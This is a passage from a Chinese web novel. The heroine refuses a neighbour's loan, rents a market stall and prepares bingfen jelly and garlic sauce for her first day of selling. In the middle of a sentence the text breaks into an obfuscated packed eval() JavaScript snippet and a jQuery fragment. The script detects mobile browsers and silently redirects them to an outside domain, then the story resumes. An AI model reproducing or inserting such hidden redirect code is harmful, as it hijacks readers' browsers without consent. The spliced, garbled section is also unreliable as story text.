事情都说妥了,两人也没再多待。
从吴家出来后,江禾刚想问林秀娥要不要去家里坐坐,但还没来得及开口,就被她拉着去了林家。
“你先坐着等我会,我去去就回。”
林秀娥说完就匆匆去了里屋,但很快却又回来了,只是她回来时手里拿了一个布袋子,然后直接塞到了江禾的手中。
江禾怔了怔,下意识掂了掂手中的布袋子,听到里面传来铜板碰撞的声音,不由一脸诧异道:“婶子这是?”
“做买卖总是要本钱的,这里有两贯钱,你先拿着用,不够咱们再想法子。”林秀娥说道。
江禾心头不由一滞,一瞬间突然说不出是什么感觉。
她看着手里的布袋子,两贯钱?
这怕是林家能拿出来的所有余钱了吧。
毕竟,现下谁家的日子都不好过,前几年边关战事吃紧,赋税加重,去年南方又遭了严重水灾,粮价飞涨,今年才算是刚缓过来,经过朝廷调控,粮价恢复了正常,百姓们的日子也好过了些。
但寻常百姓人家来钱路子窄,家家户户仍然过得很是拮据。
特别是住在这市井之中的普通人家,没田没铺子,只能靠每日出工赚些银钱,只会更难。
“婶子,不用,家里的钱够。”
江禾把布袋子又塞回了林秀娥的手中,这钱她真不能拿。
林秀娥却显然不信她的话,“休要骗我了,上次你生病的时候,我看着宁哥儿把钱匣子都掏空了,哪里还有什么钱。”
江禾见糊弄不过去,只能默默叹了口气,“婶子,我真没骗你,这制作冰粉的原材料是意外所得,真没什么本钱。”
林秀娥一听还有这事,自是替江禾高兴,但她也没多问,“可那红糖和调味料总是要花钱的吧,还有那摊位费也得交。”
所以,哪里会真的不要本钱。
她还是坚持要把布袋子给江禾。
江禾有些无奈地解释道:“摊位费的钱家里真有。”
虽然只有六十六个铜板了,但好在摊位费只要五十文,还是够的。
至于那红糖和调味料……
“婶子,我准备先像卖豆腐那样一块块卖,这样就不用算红糖和调味料的成本了。”
这是江禾一开始就打算好的,既然是冲着‘无本买卖’做的,那自然是投入越少越好。
等把这第一桶金赚到手,之后她还有旁的打算。
林秀娥愣了下,像卖豆腐那样卖?
“那能卖出去吗?”
这和豆腐还是不一样的吧,毕竟是新鲜吃食,大家先前又都没见过,能愿意买嘛。
江禾笑着回道:“应该没问题,我到时候提前做一些试吃,可以让大家现场先尝尝,喜欢吃了再买。”
既然是新鲜吃食,试吃这一步则是必不可少的,这和后世很多新品上市,要率先开展一波免费试吃是一个道理。
旨在让顾客更好地了解和体验新产品,从而激发消费者的购买欲望。
但这种在后世已经习以为常的促销方式,对于纯古人的林秀娥却有着不小的冲击,这怎么能行啊,东西都没卖呢,先给人家吃了,要是人家不卖不就亏了吗?
江禾笑着给她解释了,做成试吃的都是很小的一块,就是让人尝尝味,亏不到哪里去,林秀娥这才勉强接受。
想想也是,换做是她,这种从没见过的新鲜吃食,没尝过她也不敢买。
不过林秀娥却没被江禾绕进去,她厨艺好,先前也说了是要做吃食买卖的,这会却说要像卖豆腐一样卖那冰粉,摆明了就是本钱不够,退而求其次的选择。
毕竟,一块豆腐,你直接拿去菜场卖,和经过醉香楼的大厨做成一道菜再去买,那能一样嘛。
“婶子,做买卖都是这样,一口吃不成个胖子,我打算慢慢来,量力而为。”江禾耐心地解释道。
林秀娥虽说还是不太赞同,但见江禾坚持,也就没再说什么。
她也看出来了,江禾是个心里有盘算的,而且通过这件事也能看出来,她并不冒进,做事也稳妥,很是让人放心。
“成,那你有事就开口,别不好意思。”
江禾自是满口应了下来,“婶子放心好了,要是真有需要,我一定不会客气的。”
话虽这么说,但不到万不得已,江禾还是不会开口找人借钱的,毕竟和穷相比,她其实更怕的是欠债。
上辈子她爸妈死后留下了这么大一笔债务,几乎压得她和姥姥十几年都喘不过气。
她爸妈生前经营一家建材店,一开始规模并不大,生意还不错,后来为了扩大规模找银行和亲戚朋友借了不少,谁知碰上行情遇冷,生意亏得一塌糊涂,连房租都付不起了。
后来她爸妈去世后,银行那边还好,因为是用城里房子抵押的,房子被直接收走拍卖了,拍卖后还给银行基本就所剩无几了,所以亲戚朋友这边的便还不上了。
江禾小时候最怕的就是逢年过节亲戚朋友上门要账,那种欠人家钱的感觉,她这辈子怕是都没办法忘记。
虽说江禾对自己接下里要做的吃食买卖还挺有信心的,但万一呢?
谁家的银钱都不是大风刮来的,借别人的钱办自己的事,别人家却要担风险,这怎么看都不合适。
毕竟,别人辛辛苦苦攒下的钱,自是有人家自己的打算和安排,就算是真的是放在那里暂时用不着,那也是人家对抗生活的底气和安全感,她没资格一句借用就拿走。
所以啊,她情愿绕一点路,走得慢一点,但也得走得踏实心安。
不过,江禾虽没拿林家的钱,但确实也把这情分记下了。
但她也清楚,不管是林家,还是吴叔,他们愿意对她伸出援手,都是徐家先前积下的善缘。
由此可见,徐父徐母的人品也是真的没话说。
*
次日,江禾早早地来到衙门找到吴捕头,两人一起去了市令司。
整个过程都很顺利,她交了五十文钱,办差的人给她登记造册后,给了她一个摊位木牌,木牌上标着拾肆号,应该就是摊位号了。
吴捕头又带着她专门去给南城市肆的肆长打了声招呼,说是自家侄女,让对方平时帮着照料一二。
对方很是爽快地应了下来,“吴兄放心好了,我这同手下的人打声招呼,日后巡街时自会多关照一些。”
说罢,他还转身同江禾交代,说若是碰上什么人找茬让她直接找巡街的人就成。
吴捕头拍了拍对方的肩膀,很是熟络地道了谢:“改日请你喝酒。”
事情办完后,吴捕头因还有公务在身,简单同江禾说了几句话后,便匆匆离开了。
从衙门出来后,江禾也没着急回去,而是顺道来到了南城的市肆逛了逛。
她先是按照号码牌找到了自己的摊位,算是提前踩了个点,然后便在市肆中逛了起来。
江禾走走停停,时不时在沿途摊位前询询价,就这样转了一圈后,她对庆阳城的物价也有了基本的了解。
最后在路过一家香料铺子时,她花了十文钱买了些需要的香料便回去了。
回到徐家时,徐知宁和娴姐儿正在院子里忙活,江禾早上把假酸浆都倒在簸箕中晾晒,两个小家伙这会正帮着翻晒呢。
娴姐儿看到江禾后,像个小炮仗似地冲了过来,“大嫂,你终于回来了,娴姐儿都想你了~”
江禾不由乐了,小姑娘什么时候变得这么黏她了。
果然,增进感情最好的方式就是要一起睡觉啊。
“大嫂,事情办成了吗?”徐知宁也随后跟了过来,一脸期待地看着江禾。
“成了。”江禾把摊位牌拿出来递给了他,“我去看了下,位置还不错。”
徐知宁摸着手里的木牌,有些激动道:“那咱们明个就能去卖冰粉了吧。”
江禾笑着‘嗯’了一声,摊位费都交了,那自是耽误不得,浪费一天都是钱啊。
再者说了,交了五十文摊位费,买
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896265|176534||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
香料又花了十文,家里如今只剩下可怜的六个铜板,再不赚钱,那可就真的是穷的叮当响了。
“大嫂,家里有这么多柴呢,要不咱们卖一些吧。”徐知宁说道。
家里的银钱虽都交给了江禾管,但怎么花她都是会提前徐知宁说的,就像今个出门前,她说除了要交摊位费,还要买些香料。
也不是想让他操心吧,就是这孩子心事重,要是什么都不告诉他,他反而会自己在那想七想八的。
江禾‘嘿’了一声,“怎么啊,不相信咱们明个能赚钱?”
徐知宁挠了挠头,“没有,就是觉得这柴太多了,堆在家里暂时也用不到。”
还不如先拿去换钱呢。
主要也是没钱真的不踏实。
江禾自然也懂这种感觉,但她之后是真不打算再让徐知宁去砍柴了,那这会卖了之后用柴还要买,低卖高买的,实在不划算。
于是,她采用了拖延大法,“那就过几日再说,咱们还是先想想明个出摊的事吧。”
等赚了钱,他自是就不会再去想这茬了。
对于第一回出摊,江禾和两小只都很重视,毕竟这可关系到他们一家三口的生计。
若是能有个好的开门红,以后的日子也算有了盼头。
江禾对摆摊这事并不陌生,上辈子她打小就陪着姥姥出摊卖凉菜,需要准备什么也算是轻车熟路了。
她领着两小只把当天能提前准备的都准备好了,吃完晚食便早早歇下了。
次日寅时刚过,江禾便在夜色中起了身,端着一个点燃的油灯来到了灶房。
做吃食买卖就是如此,食材要想保证新鲜,都是得当天现做才行。
但就在江禾把水倒进木盆中,准备搓粉时,徐知宁揉着眼睛出现在了灶房门口。
“大嫂,你怎么没喊我啊。”
他说罢,也没等江禾回答,便走到旁边的水盆里去净手去了,然后很自觉地来到她身边帮起了忙。
江禾笑了笑,也没拦着他,“行,那你就在旁边给我搭把手吧,今个咱们第一天出摊,我准备少做一点,先卖卖看。”
徐知宁自是没什么意见的。
两人大概忙活了半个多时辰,终于把冰粉揉搓完成了,下面就是静置等待时间。
但接下来江禾也没闲着,她要把试吃的料汁调好,红糖的不急,这个好弄,重点是咸口的调料汁。
江禾准备把姥姥的秘制凉拌菜料汁做出来,她还是有些强迫症的,自己在家吃可以做简易版的,但出门做生意嘛,那必须得拿出全部的水平出来。
所以,她昨个特地把缺的几位香料买齐了。
除此之外,江禾还做了一些她姥姥秘制蒜蓉酱。
要想使凉拌菜的口味复合有层次,那就必须得使用蒜蓉酱,蒜蓉酱可是个好东西,不仅能提升风味,还能杀菌。
姥姥曾告诉过她,一款好的蒜蓉酱几乎能决定凉拌菜最终口味的好坏。
把大蒜剥皮洗净剁碎成泥,过两遍清水,再挤干水分,这样处理一下既能除去大蒜的冲鼻辣味,还能保持酸味不会太淡。
在挤干的蒜泥中加入一些米酒将其拌匀,再适量加入盐糖进行调味,最后就是泼油了。
姥姥告诉她,泼油这一步很是关键,要分成三次泼,不能着急,每次都要搅匀才行。
江禾当初第一次泼油时有点心急,一次性给倒完了,结果就是底层的蒜蓉做出来后还是生的,口感更是差的不是一点两点。
随着最后一次油泼下,姥姥的秘制蒜蓉酱也做成了,此时的蒜蓉还在咕噜冒泡,整个灶房都充斥着蒜蓉酱的香味,江禾有一瞬间突然恍惚了,以为回到了老宅的厨房。
在东方天际泛起一片鱼肚白的时候,两大盆冰粉终于凝固成型了,江禾将它切成一块块均匀的豆腐状,装进了提前准备好的木桶中。
一切准备就绪后,江禾和两小只简单用了些早食,便招呼他们出门了。
“走,出摊去咯~”